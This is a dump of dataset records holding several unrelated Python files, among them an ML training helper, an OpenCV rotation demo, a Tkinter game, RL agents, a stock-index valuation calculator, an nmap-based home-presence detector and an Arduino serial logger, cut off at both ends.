array-like\n Model performance on a validation set after each training epoch. Only available for certain models.\n \"\"\"\n print_status_message('Beginning model training...', verbose, logger)\n t0 = time.time()\n X_train = None\n X_eval = None\n y_train = None\n y_eval = None\n training_history = None\n\n if eval:\n X_train, X_eval, y_train, y_eval = train_test_split(X, y, test_size=0.1)\n transforms = fit_transforms(X_train, y_train, transforms)\n X_train = apply_transforms(X_train, transforms)\n X_eval = apply_transforms(X_eval, transforms)\n\n if early_stopping:\n if library == 'xgboost':\n model.fit(X_train, y_train, eval_set=[(X_eval, y_eval)], eval_metric='rmse',\n early_stopping_rounds=early_stopping_rounds)\n training_history = model.eval_results\n print_status_message('Best iteration found = {0}'.format(str(model.best_iteration)), verbose, logger)\n else:\n raise Exception('Early stopping not supported.')\n else:\n if library == 'xgboost':\n model.fit(X_train, y_train, eval_set=[(X_eval, y_eval)], eval_metric='rmse')\n training_history = model.eval_results\n print('TODO')\n elif library == 'keras':\n model.validation_data = (X_eval, y_eval)\n training_history = model.fit(X_train, y_train)\n min_eval_loss = min(training_history.history['val_loss'])\n min_eval_epoch = min(enumerate(training_history.history['loss']), key=lambda x: x[1])[0] + 1\n print_status_message('Min eval loss = {0}'.format(str(min_eval_loss)), verbose, logger)\n print_status_message('Min eval epoch = {0}'.format(str(min_eval_epoch)), verbose, logger)\n else:\n raise Exception('Model evaluation not supported.')\n else:\n transforms = fit_transforms(X, y, transforms)\n X = apply_transforms(X, transforms)\n if library == 'keras':\n training_history = model.fit(X, y)\n else:\n model.fit(X, y)\n\n t1 = time.time()\n print_status_message('Model trained in {0:3f} s.'.format(t1 - t0), verbose, logger)\n\n print_status_message('Model hyper-parameters:', verbose, logger)\n print_status_message(str(model.get_params()), verbose, logger)\n\n if eval:\n print_status_message('Calculating training score...', verbose, logger)\n train_score = predict_score(X_train, y_train, model, metric)\n print_status_message('Training score = {0}'.format(str(train_score)), verbose, logger)\n\n print_status_message('Calculating evaluation score...', verbose, logger)\n eval_score = predict_score(X_eval, y_eval, model, metric)\n print_status_message('Evaluation score = {0}'.format(str(eval_score)), verbose, logger)\n\n if plot_eval_history:\n if library == 'xgboost':\n print('TODO')\n elif library == 'keras':\n print('TODO')\n else:\n raise Exception('Eval history not supported.')\n else:\n print_status_message('Calculating training score...', verbose, logger)\n train_score = predict_score(X, y, model, metric)\n print_status_message('Training score = {0}'.format(str(train_score)), verbose, logger)\n\n return model, training_history\n", "sub_path": "ionyx/experiment/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 5555, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "utils.print_status_message", "line_number": 61, "usage_type": "call"}, {"api_name": "time.time", "line_number": 62, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.train_test_split", "line_number": 70, "usage_type": "call"}, {"api_name": "utils.fit_transforms", "line_number": 71, "usage_type": "call"}, {"api_name": "utils.apply_transforms", "line_number": 72, "usage_type": "call"}, {"api_name": "utils.apply_transforms", "line_number": 73, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 80, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 93, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 94, "usage_type": "call"}, {"api_name": "utils.fit_transforms", "line_number": 98, "usage_type": "call"}, {"api_name": "utils.apply_transforms", "line_number": 99, "usage_type": "call"}, {"api_name": "time.time", "line_number": 105, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 106, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 108, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 109, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 112, "usage_type": "call"}, {"api_name": "utils.predict_score", "line_number": 113, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 114, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 116, "usage_type": "call"}, {"api_name": "utils.predict_score", "line_number": 117, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 118, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 128, "usage_type": "call"}, {"api_name": "utils.predict_score", "line_number": 129, "usage_type": "call"}, {"api_name": "utils.print_status_message", "line_number": 130, "usage_type": "call"}]} +{"seq_id": "121537457", "text": "\"\"\"\nPatrick Stadler (pstadler1990)\nUniversität Regensburg\nSS 19\n\"\"\"\nimport io\nimport os\nimport csv\nimport json\n\nYEAR = \"2018\"\nOUT_DIR = os.path.join(\"converted_data\", YEAR)\nKEYWORD_EN_FILE = os.path.join(OUT_DIR, \"DHD_Keywords.csv\")\nOUT_FILE = os.path.join(OUT_DIR, \"keywords_en_split.json\")\n\n\ndef apply_keyword(keyword):\n return clear_keyword(keyword) # split_keyword removed due to wikipedia search being more polite to larger keywords\n\n\ndef split_keyword(keyword):\n \"\"\"\n Splits the keyword into multiple keyboards (if separated by a whitespace)\n Creates a set of:\n - every single keyword in a list of keywords (i.e. 3d digital art) => 3d, digital, art\n - every pair of two keywords from the left => 3d digital\n - every pair of two keywords from the right => digital art\n This increases the chances of matching with the category list (tags)\n \"\"\"\n entries = []\n entries_all = keyword[1].split(' ')\n entries_split_length = len(entries_all)\n if entries_split_length <= 1:\n entries = entries_all\n else:\n for i in range(entries_split_length):\n entries += keyword[1].split(' ', maxsplit=1)\n for i in range(entries_split_length):\n entries += keyword[1].rsplit(' ', maxsplit=1)\n entries = list(set(entries) | set(entries_all))\n return {'original': keyword[0], 'en': keyword[1], 'entries': entries}\n\n\ndef clear_keyword(keyword):\n return [k.strip().lower() for k in keyword]\n\n\ndef parse_keywords(keyword_file, out_file):\n \"\"\"\n Splits each keyword into an object (each word - separated by a whitespace - becomes an entry\n in the object's entry list\n \"\"\"\n with io.open(keyword_file, newline='') as file:\n keywords = csv.reader(file, delimiter=',')\n keyword_list = ([apply_keyword(keyword) for keyword in keywords])\n with io.open(out_file, \"w\", encoding=\"utf8\") as out_file:\n json.dump(keyword_list, out_file, ensure_ascii=False)\n\n\nif __name__ == \"__main__\":\n parse_keywords(KEYWORD_EN_FILE, out_file=OUT_FILE)\n", "sub_path": "KeywordCleaner.py", "file_name": "KeywordCleaner.py", "file_ext": "py", "file_size_in_byte": 2075, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "io.open", "line_number": 53, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 54, "usage_type": "call"}, {"api_name": "io.open", "line_number": 56, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "382144810", "text": "import numpy as np\nimport cv2\n\nimg = cv2.imread('../../Picture/water.jpg', 1)\nimgInfo = img.shape\nprint(\"img.shape:\", imgInfo) # 输出图片的[宽度, 高度, 图片的颜色组成方式]\ncv2.imshow(\"img\", img)\nheight = imgInfo[0]\nwidth = imgInfo[1]\nmode = imgInfo[2]\n\n# 图像旋转getRotationMatrix2D()\n# 第一个参数表示图片的中心点\n# 第二个参数表示的度数\n# 第三个参数表示缩放比例, 最大为1\nfor i in range(0, 360, 1):\n matRotate = cv2.getRotationMatrix2D((width / 2.0, height / 2.0), i, i / 360)\n dst = cv2.warpAffine(img, matRotate, (width, height))\n cv2.imshow(\"dst\", dst)\n cv2.waitKey(10)\n", "sub_path": "muke_OpenCV/01几何变换/14_图片旋转.py", "file_name": "14_图片旋转.py", "file_ext": "py", "file_size_in_byte": 644, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "cv2.imread", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "437293832", "text": "\ntry:\n # for Python2\n from Tkinter import * ## notice capitalized T in Tkinter\nexcept ImportError:\n # for Python3\n from tkinter import * ## notice lowercase 't' in tkinter here\n\nroot = Tk()\n\n\"\"\"\n.Main File that determines paths\n\"\"\"\n\nimport PIL\nfrom PIL import Image, ImageDraw, ImageTk\n\n\n# Imported module functions\nfrom start import *\n\n\n\nclass GuessingGame:\n def __init__(self, master):\n self.master = master\n # Title of page\n master.title(\"The Golden Carrot\")\n\n # Main Text\n self.message = \"The Golden Carrot\"\n self.label_text = StringVar()\n self.label_text.set(self.message)\n self.label = Label(master, textvariable=self.label_text)\n self.label.grid(row=0, column=0, columnspan=2, sticky=W + E)\n self.label.config(background=\"#d8dad9\", height=20, width=60)\n\n # Bunny Name\n self.b_name = \"Bunny\"\n self.label_bun = StringVar()\n self.label_bun.set(self.b_name)\n self.bun = Label(master, textvariable=self.label_bun)\n\n\n # Main 2 Buttons\n self.yes_button = Button(master, text=\"Continue\", command=self.introductions)\n self.no_button = Button(master, text=\"Back\", state=DISABLED)\n self.name = Entry(master)\n self.name.config(highlightbackground=\"#d8dad9\", highlightcolor=\"#d8dad9\")\n self.no_button.grid(row=2, column=0, sticky=W + E)\n self.no_button.config(highlightbackground=\"#d8dad9\", highlightcolor=\"#d8dad9\")\n self.yes_button.grid(row=2, column=1, sticky=W + E)\n self.yes_button.config(highlightbackground=\"#d8dad9\", highlightcolor=\"#d8dad9\")\n\n # Items\n self.items = ['lettuce', 'a pebble']\n\n # Drawing\n self.top = Toplevel()\n self.c = Canvas(self.top, bg='white', width=600, height=600)\n self.top.wm_title(\"Draw \" + self.label_bun.get())\n self.c.grid(row=1, columnspan=5)\n self.image1 = PIL.Image.new('RGB', (600, 600), '#d8dad9')\n self.save_button = Button(self.top, text='save', command=self.use_save)\n self.save_button.grid(row=0, column=1)\n self.drawing_setup()\n self.top.withdraw()\n\n # Save Drawing\n def use_save(self, *args):\n self.filename = 'drawing.png'\n self.image1.save(self.filename)\n self.image2 = ImageTk.PhotoImage(Image.open(\"drawing.png\").resize((200, 200)))\n self.image3 = Label(root, image=self.image2)\n self.image3.config(background=\"#d8dad9\")\n self.image3.grid_remove()\n self.top.withdraw()\n\n # Imported module functions\n introductions = introductions\n question_one = question_one\n question_one_yes = question_one_yes\n question_one_end = question_one_end\n question_one_no = question_one_no\n stage_one = stage_one\n create_window = create_window\n stage_two = stage_two\n stage_three = stage_three\n drawing_setup = drawing_setup\n paint = paint\n reset = reset\n stage_three_fail = stage_three_fail\n stage_four = stage_four\n stage_five = stage_five\n item_list = item_list\n\nmy_gui = GuessingGame(root)\nroot.config(background=\"#f0f5f5\", padx=20, pady=20)\nroot.mainloop()\n", "sub_path": "Bunny Tkinter App/main_file.py", "file_name": "main_file.py", "file_ext": "py", "file_size_in_byte": 3163, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "PIL.Image.new", "line_number": 63, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 63, "usage_type": "attribute"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 73, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 73, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 73, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 73, "usage_type": "name"}]} +{"seq_id": "358895856", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# author: Xiaohan Li\n# info: 计算各指数等权PE和PB\n\n\nimport sys\nimport os\nimport traceback\nimport pandas as pd\nimport numpy as np\nimport sqlite3 as sq\nfrom datetime import *\nfrom dateutil.relativedelta import *\n\nimport Common\nimport EvalUtils\nimport SqliteUtils\n\n\ndef run(CONFIG, opts, args):\n sqConn = sq.connect(CONFIG['sqlite.path'])\n\n calcDays = int(os.getenv('CALC_DAYS', '30'))\n fillMiss = os.getenv('FILL_MISS', 'False')\n today = datetime.date(datetime.now())\n\n # 指定某个基金代码，计算这个指数的等权PE和PB\n indexCode = os.getenv('INDEX_CODE', None)\n if indexCode:\n indexLst = [indexCode]\n else:\n print('Get all index PE')\n df = pd.read_csv('./data/index.csv')\n indexLst = df['index_code'].values.tolist()\n\n startDay = today - relativedelta(days = calcDays)\n # 从1995年开始计算PE和PB，与E大的图保持统一\n if startDay < date(1995, 1, 1):\n startDay = date(1995, 1, 1)\n firstDay = startDay.replace(day = 1)\n print('Calculate index PE from: %s' % firstDay)\n firstDayStr = firstDay.strftime('%Y%m%d')\n endDay = today.replace(day = 1)\n allEvalDF = SqliteUtils.getConEval(sqConn, firstDayStr)\n print(allEvalDF.head(3))\n print(allEvalDF.dtypes)\n for indexCode in indexLst:\n print(indexCode)\n firstConLst = None\n firstValidDay = None\n conDF = SqliteUtils.getConOfIndex(sqConn, indexCode)\n print(conDF.head(3))\n day = firstDay\n while day <= endDay:\n intDay = int(datetime.strftime(day, '%Y%m%d'))\n conLst = EvalUtils.getConLst(conDF, indexCode, intDay)\n if len(conLst)>0 and firstConLst == None:\n firstConLst = conLst\n firstValidDay = day\n conEvalDF = allEvalDF[((allEvalDF.trade_dt == intDay)\n & allEvalDF['con_code'].isin(conLst))]\n # print(len(conEvalDF))\n if len(conEvalDF) > 0:\n dayPE = EvalUtils.calcPEWoNeg(conEvalDF)\n dayPB = EvalUtils.calcPBWoNeg(conEvalDF)\n # print('%s %.2f' % (day, dayPe))\n dayDF = pd.DataFrame([[intDay, dayPE, dayPB]], columns=['dt', 'pe', 'pb'])\n SqliteUtils.writeIndexEwEval(sqConn, dayDF, indexCode)\n day = day + relativedelta(months = 1)\n \n # fill 10 years' pe before firstValidDay\n if fillMiss == 'False':\n print('do not fill')\n continue\n elif fillMiss == 'True':\n print(indexCode, 'First valid day',firstValidDay,\n 'len of firstConLst', len(firstConLst))\n day = firstValidDay - relativedelta(years=10)\n # 主要是行业指数需要补齐，补齐至2005年，与E大保持一致\n if day < date(2005, 1, 1):\n day = date(2005, 1, 1)\n print('fill from', day)\n while day <= firstValidDay:\n intDay = int(datetime.strftime(day, '%Y%m%d'))\n conEvalDF = allEvalDF[((allEvalDF.trade_dt == intDay)\n & allEvalDF['con_code'].isin(firstConLst))]\n if len(conEvalDF) > 0:\n # print(day, 'len of conEvalDF', len(conEvalDF))\n dayPE = EvalUtils.calcPEWoNeg(conEvalDF)\n dayPB = EvalUtils.calcPBWoNeg(conEvalDF)\n # print('%s %.2f' % (day, dayPe))\n dayDF = pd.DataFrame([[intDay, dayPE, dayPB]], columns=['dt', 'pe', 'pb'])\n SqliteUtils.writeIndexEwEval(sqConn, dayDF, indexCode)\n else:\n print('empty con eval', indexCode, day)\n day = day + relativedelta(months=1)\n\n\n\nif __name__ == \"__main__\":\n try:\n (CONFIG, opts, args) = Common.process_options()\n run(CONFIG, opts, args)\n except Exception as e:\n traceback.print_exc(file=sys.stdout)\n print(\"Job Error %s:\" % (e.args))\n raise e\n finally:\n pass\n", "sub_path": "index-eval/bin/CalcIndexPEAndPB.py", "file_name": "CalcIndexPEAndPB.py", "file_ext": "py", "file_size_in_byte": 4099, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sqlite3.connect", "line_number": 23, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 25, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 30, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 35, "usage_type": "call"}, {"api_name": "SqliteUtils.getConEval", "line_number": 46, "usage_type": "call"}, {"api_name": "SqliteUtils.getConOfIndex", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.strftime", "line_number": 57, "usage_type": "call"}, {"api_name": "EvalUtils.getConLst", "line_number": 58, "usage_type": "call"}, {"api_name": "EvalUtils.calcPEWoNeg", "line_number": 66, "usage_type": "call"}, {"api_name": "EvalUtils.calcPBWoNeg", "line_number": 67, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 69, "usage_type": "call"}, {"api_name": "SqliteUtils.writeIndexEwEval", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.strftime", "line_number": 86, "usage_type": "call"}, {"api_name": "EvalUtils.calcPEWoNeg", "line_number": 91, "usage_type": "call"}, {"api_name": "EvalUtils.calcPBWoNeg", "line_number": 92, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 94, "usage_type": "call"}, {"api_name": "SqliteUtils.writeIndexEwEval", "line_number": 95, "usage_type": "call"}, {"api_name": "Common.process_options", "line_number": 104, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 107, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 107, "usage_type": "attribute"}]} +{"seq_id": "256959863", "text": "import torch\nimport random\n\n\nclass Softmax_Agent(torch.nn.Module):\n def __init__(self, model=None, batch=128, head=None):\n super(Softmax_Agent, self).__init__()\n self.model = model\n self.n_agents = 1\n self.batch = batch\n self.transition_keys = [\"state\", \"action\", \"reward\", \"logit\", \"entropy\", \"value\"]\n self.p_state = 0\n self.single_step = False\n self.head = head\n self.steps = 0\n self.action = -1\n\n def step(self, x, memory, confidence, render, explore=False):\n ys = []\n infos = {}\n\n y, logit, entropy = self.forward(x, confidence, render, explore)\n memory.add_value((\"logit\",logit[0]))\n memory.add_value((\"entropy\",entropy[0]))\n self.steps += 1\n return y, infos\n\n def forward(self, x, confidence=1.0, render=False, explore=False):\n actions = []\n logits = []\n entropies = []\n\n if type(self.p_state) != torch.tensor:\n x = torch.cat((x, x),dim=1)\n else:\n x = torch.cat((x, self.p_state),dim=1)\n\n self.p_state = x\n\n y = self.model(x)\n\n if self.head != None:\n y = self.head(y.view(self.n_agents,-1))\n\n y = torch.nn.Softmax(dim=1)(y.view(self.n_agents,-1))\n\n for z in list(y):\n dist = torch.distributions.Categorical(z)\n anxiety = torch.nn.Sigmoid()(torch.randn(1))\n\n if confidence < anxiety or self.steps < 1:\n self.action = dist.sample()\n confidence = 5.0\n mode = \"Explore\"\n else:\n if explore:\n pass\n else:\n self.action = torch.argmax(dist.probs)\n mode = \"Exploit\"\n\n #if render:\n # print(\"{}% Action {}\".format(int(100*y[0][action]), action))\n\n logit = -dist.log_prob(self.action).view(-1)\n logits.append(logit)\n actions.append(self.action)\n entropies.append(dist.entropy())\n if self.single_step:\n print(\"Step:{} Action:{} Prob:{} LogProb:{} Confidence:{} Mode:{}\".format(self.steps, self.action, z[self.action], logit, confidence, mode))\n input()\n\n return actions, logits, entropies\n\nclass Softmax_RNN_Agent(torch.nn.Module):\n def __init__(self, in_features, hidden, layers, model=None, batch=128, n_agents=1):\n super(Softmax_RNN_Agent, self).__init__()\n self.model = model\n self.hidden_size = hidden\n self.layers = layers\n self.rnn = torch.nn.GRU(in_features, hidden, layers)\n self.memory = []\n self.n_agents = n_agents\n self.batch = batch\n self.transition_keys = [\"state\", \"action\", \"reward\", \"logit\", \"entropy\", \"value\"]\n self.p_state = 0\n self.hidden = torch.zeros(self.layers, 1, self.hidden_size)\n\n def push(self, transition):\n self.memory.push(transition)\n\n def step(self, x, memory):\n ys = []\n infos = {}\n\n y, logit, entropy = self.forward(x)\n memory.add_value((\"logit\",logit[0]))\n memory.add_value((\"entropy\",entropy[0]))\n return y, infos\n\n def forward(self, x):\n actions = []\n logits = []\n entropies = []\n\n if type(self.p_state) != torch.tensor:\n x = torch.cat((x, x),dim=1)\n else:\n x = torch.cat((x, self.p_state),dim=1)\n\n self.p_state = x\n y,self.hidden = self.rnn(x, self.hidden)\n y = self.model(y)\n\n y = torch.nn.Softmax(dim=2)(y)\n\n for z in list(y):\n dist = torch.distributions.Categorical(z)\n action = dist.sample()\n logit = -dist.log_prob(action).view(-1)\n logits.append(logit)\n actions.append(action)\n entropies.append(dist.entropy())\n\n return actions, logits, entropies\n\n def reset_hidden(self):\n self.hidden = torch.zeros(self.layers, 1, self.hidden_size)\n\nclass RandomAgent():\n def __init__(self, actions):\n super(RandomAgent, self).__init__()\n self.actions = actions\n self.transition_keys = [\"state\",\"reward\",\"action\"]\n\n def forward(self, x):\n return (random.choice(range(self.actions)))\n", "sub_path": "agents.py", "file_name": "agents.py", "file_ext": "py", "file_size_in_byte": 4277, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.nn", "line_number": 5, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 33, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.Softmax", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.distributions.Categorical", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.distributions", "line_number": 48, "usage_type": "attribute"}, {"api_name": "torch.nn.Sigmoid", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.randn", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "attribute"}, {"api_name": "torch.nn.GRU", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 106, "usage_type": "attribute"}, {"api_name": "torch.cat", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.nn.Softmax", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 115, "usage_type": "attribute"}, {"api_name": "torch.distributions.Categorical", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.distributions", "line_number": 118, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 128, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 137, "usage_type": "call"}]} +{"seq_id": "209740820", "text": "# -*- coding: utf-8 -*-\n\nimport requests\nimport unittest\n\nclass test_kuaidi(unittest.TestCase):\n def setUp(self):\n self.header={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0',}\n \n danhao = '494452070742'\n kd = 'zhongtong'\n self.url = 'http://www.kuaidi.com/index-ajaxselectcourierinfo-%s-%s.html'%(danhao, kd)\n \n \n def testsearch(self):\n r = requests.get(self.url, headers=self.header, verify=False)\n date = r.json()\n print(date)\n self.assertEqual(date['company'], '中通快递')\n ", "sub_path": "interface/src/test/test_seacrhkuaidi.py", "file_name": "test_seacrhkuaidi.py", "file_ext": "py", "file_size_in_byte": 620, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "unittest.TestCase", "line_number": 6, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "120057985", "text": "#the Python Script was provided by : Jonathan De La Cruz https://www.linkedin.com/in/jonathandelacruz96/\r\n\r\n\r\nimport re\r\nimport subprocess\r\nimport time\r\nimport serial\r\nwhile True:\r\n dylan = 1\r\n lewis = 1\r\n lydia = 1\r\n justin = 1\r\n adr = []\r\n ser = serial.Serial('/dev/ttyUSB0') #serial\r\n # this runs commands in terminal that use nmap to print all terminal results into output.txt\r\n with open('output.txt', 'w') as f:\r\n p1 = subprocess.run(['sudo', 'nmap', '-sP', '***.*.*.0/**'], stdout=f, text=True)#i use stars to blank out my actual IP, replace with you own\r\n with open('output.txt', 'r') as searchFile:\r\n for line in searchFile:\r\n if 'MAC' in line:\r\n adr.append(line.rstrip('\\n'))\r\n with open('macAddresses.txt', 'w') as macFile:\r\n for mac in adr:\r\n macFile.write('%s\\n' %mac[:30])\r\n time.sleep(10) \r\n with open('macAddresses.txt', 'r') as macFile:\r\n time.sleep(2)\r\n with open('macAddresses.txt', 'r') as macFile:\r\n print('checking who is home...')\r\n for line in macFile:\r\n if '**:**:**:**:**:**' in line: #i use **:**:**:**:**:** to replace a real MAC address, replace with you own\r\n dylan = 2\r\n print('Dylan is here') #change this to whatever you want to happen\r\n ser.write(b'D') #sends character cast as byte over serial\r\n if dylan == 1 :\r\n print(' Dylan is not here') #change this to whatever you want to happen\r\n ser.write(b'd') #sends character cast as byte over serial\r\n time.sleep(2)\r\n with open('macAddresses.txt', 'r') as macFile:\r\n for line in macFile:\r\n if '**:**:**:**:**:**' in line:#i use **:**:**:**:**:** to replace a real MAC address, replace with you own\r\n lewis = 2\r\n print('Lewis is here') #change this to whatever you want to happen\r\n ser.write(b'L') #sends character cast as byte over serial\r\n if lewis == 1:\r\n print(' Lewis is not here') #change this to whatever you want to happen\r\n ser.write(b'l') #sends character cast as byte over serial\r\n time.sleep(2)\r\n with open('macAddresses.txt', 'r') as macFile:\r\n for line in macFile:\r\n if '4**:**:**:**:**:**' in line:#i use **:**:**:**:**:** to replace a real MAC address, replace with you own\r\n lydia = 2\r\n print('Lydia is here') #change this to whatever you want to happen\r\n ser.write(b'K') #sends character cast as byte over serial\r\n if lydia == 1 : \r\n print(' lydia is not here') #change this to whatever you want to happen\r\n ser.write(b'k') #sends character cast as byte over serial\r\n time.sleep(2)\r\n with open('macAddresses.txt', 'r') as macFile:\r\n for line in macFile:\r\n if '**:**:**:**:**:**' in line:#i use **:**:**:**:**:** to replace a real MAC address, replace with you own\r\n justin = 2\r\n print('Justin is here') #change this to whatever you want to happen\r\n ser.write(b'J') #sends character cast as byte over serial\r\n if justin == 1 :\r\n print(' justin is not here') #change this to whatever you want to happen\r\n ser.write(b'j') #sends character cast as byte over\r\n time.sleep(2)\r\n print('end of loop')\r\n ser.close()\r\n time.sleep(10)", "sub_path": "Python/whoishomescript.py", "file_name": "whoishomescript.py", "file_ext": "py", "file_size_in_byte": 3838, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "serial.Serial", "line_number": 14, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 25, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 27, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 68, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 71, "usage_type": "call"}]} +{"seq_id": "372254409", "text": "import serial #Import Serial Library\nimport time\nimport datetime\nimport csv\nimport numpy as np\n\nrun = '1'\ncount = 0\nbadSamples = 0\nNO_SAMPLES = 1000\nNO_SENSORS = 1\nSTART = 'S'\n\nHEADER = [ ['Sensor 1',' ',' ','Sensor 2',' ',' ','Sensor 3',' ',' ','Sensor 4',' ',' ','Sensor 5'],\n ['X','Y','Z','X','Y','Z','X','Y','Z','X','Y','Z','X','Y','Z'] ]\n\ndata_log = []\nlength = []\n\ntry:\n arduinoSerial = serial.Serial('/dev/tty.usbserial-DN018OOF',9600, 5) #Create Serial port object called arduinoSerialData\n print(\"Connected to Arduino\")\nexcept:\n print(\"Failed to connect to Arduino\")\n\narduinoSerial.reset_input_buffer()\narduinoSerial.reset_output_buffer()\ntime.sleep(5) #Required for the XBee's to initialise\n\ninput('Please press Enter to begin')\narduinoSerial.write(b'S')\n\nwhile (run == '1'):\n\t# If the input buffer is not empty read the data out into rawData using \\n as a delimiter.\n if (arduinoSerial.inWaiting()>0):\n rawData = arduinoSerial.readline()\n # Decode the bytes into a string\n data = rawData.decode()\n # Split the ID, x, y, z and newline values and put in a list\n data_readings = data.split(\" \", 5)\n print(data_readings)\n if (len(data_readings) == 5 and '' not in data_readings):\n int_data_readings = list(map(int,data_readings[:4]))\n data_log.append(int_data_readings)\n else:\n badSamples += 1\n\n # Take NO_SAMPLES samples then possibility to quit\n if (count == NO_SAMPLES):\n print('Lost Samples: ' + str(badSamples))\n run = input('Continue? (1:yes, 0:no)')\n count = 0\n count += 1\n\narduinoSerial.write(b'S')\narduinoSerial.close()\n\nnp_data_log = np.array(data_log)\n\nfor i in range(1,NO_SENSORS+1):\n length.append((np_data_log == i).sum())\n\nnp_difference = max(length) - np.array(length)\n\nfor i in range(0,NO_SENSORS):\n if (np_difference[i] != 0):\n for j in range(0,np_difference[i]):\n np_data_log = np.concatenate((np_data_log,[[i+1,0,0,0]]), axis=0)\n\nnp_data_sorted = np_data_log[:,[1,2,3]][np_data_log[:,0] == 1 ]\nfor i in range(2,NO_SENSORS+1):\n np_temp = np_data_log[:,[1,2,3]][np_data_log[:,0] == i ]\n np_data_sorted = np.concatenate((np_data_sorted,np_temp), axis=1)\n\ntimestamp = datetime.datetime.utcnow()\npathTime = '/Users/Angelo555uk/Desktop/University/Year_4/Project/Results/Sensor1log-{:%d%b,%H.%M}.csv'.format(timestamp)\n\npath = 